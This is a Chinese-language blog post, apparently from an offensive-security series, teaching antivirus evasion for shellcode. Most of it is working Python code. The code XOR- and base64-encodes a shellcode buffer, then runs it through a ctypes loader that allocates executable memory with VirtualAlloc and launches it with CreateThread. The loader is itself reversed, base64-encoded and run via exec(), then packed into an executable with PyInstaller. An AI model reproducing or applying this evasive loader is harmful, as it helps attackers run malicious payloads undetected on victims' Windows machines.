接上文 :【攻防技术系列】shellcode初识
二、shellcode简单免杀
2.1 什么是免杀?
免杀技术全称为反杀毒技术(Anti Anti- Virus)简称“免杀“。
它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,包含反汇编、逆向工程、系统漏洞等技术,所以难度很高。
2.2 杀软的分类
病毒查杀一般可以分为三种形式:静态查杀、行为查杀和云查杀:
静态查杀:一般根据特征码识别,然后对病毒进行特征库匹配
行为查杀:动态查杀,主要是对其产生的行为进行检测
云查杀:提取出文件的特征和上传云端,利用云端的大规模病毒库和分析引擎进行检测后返回给客户端,对对应的病毒进行查杀
2.3 如何免杀?
1)针对shellcode部分进行混淆
方式有很多,可以是各种编码加密等,本次是对shellcode buf进行base64编码,然后对每个字符进行异或运算:
# -*- coding: utf-8 -*-
import ctypes
import binascii
import base64
buf = b""
buf += b"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41"
buf += b"\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50"
buf += b"\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
buf += b"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf"
buf += b"\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
buf += b"\xf0\xb5\xa2\x56\xff\xd5"
# 1.将 shellcode 转换成base64编码
b64 = base64.b64encode(buf)
print(b64.decode())
# 2.遍历每个字符并进行疑惑运算(异或运算密钥:666)
source = ''
for c in b64:
temp = c ^ 666
source += str(temp) + "-"
print(source[0:-1])
运行后的格式如下:
解密程序是:
# -*- coding: utf-8 -*-
import base64
import ctypes
source = '693-735-753-693-713-731-722-734-713-729-756-733-713-723-706-680-766-760-712-728-693-689-766-707-763-765-728-704-713-761-764-729-674-726-717-755-716-748-693-716'
b64 = ''
list = source.split('-')
for n in list:
temp = int(n) ^ 666
b64 += chr(temp)
buf = base64.b64decode(b64)
print(buf)
2)针对加载器代码进行混淆
将原始加载器代码拼接到一起:
# 原始
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
# 拼接到一起
code = 'ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64;rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40);ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf));handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0, 0);ctypes.windll.kernel32.WaitForSingleObject(handle, -1)'
然后对整体进行倒序后再进行base64编码:
# 加载器的混淆
code = 'ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64;rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40);ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf));handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0, 0);ctypes.windll.kernel32.WaitForSingleObject(handle, -1)'
reverse_code = code[::-1] #字符串倒置
b64 = base64.b64encode(reverse_code.encode())
print(b64)
效果是:
3)将两部分混淆代码放到一起运行
最终运行流程如下:
对混淆后的加载器代码,进行base64解码后再倒置字符串得到原始加载器代码
利用python exec执行加载器代码部分,执行过程中加载器代码会加载shellcode代码
对混淆后的shellcode部分,遍历编码字符串并每个字符进行异或计算
进行base64解码得到原始shellcode
完整代码是:
# -*- coding: utf-8 -*-
import base64
import ctypes
source = '省略混淆后的shellcode代码...'
b64 = ''
# 遍历编码字符串并每个字符进行异或计算得到原始字符
list = source.split('-')
for n in list:
temp = int(n) ^ 666
b64 += chr(temp)
# 进行base64解码得到原始shellcode
buf = base64.b64decode(b64)
print(buf)
# 加载器解密
b64 = b'省略混淆后的加载器代码部分...'
# base64解码后,再倒置字符串得到原始加载器代码
code = base64.b64decode(b64)[::-1]
print(code)
# 利用python exec执行加载器代码部分,执行过程中加载器代码会加载shellcode代码
exec(code)
代码保存为 shellcode_enc.py
通过PyInstaller打包为exe可执行程序。
最后就是免杀效果测试。
标签:攻防,免杀,kernel32,shellcode,base64,windll,ctypes,buf From: https://www.cnblogs.com/o-O-oO/p/18303236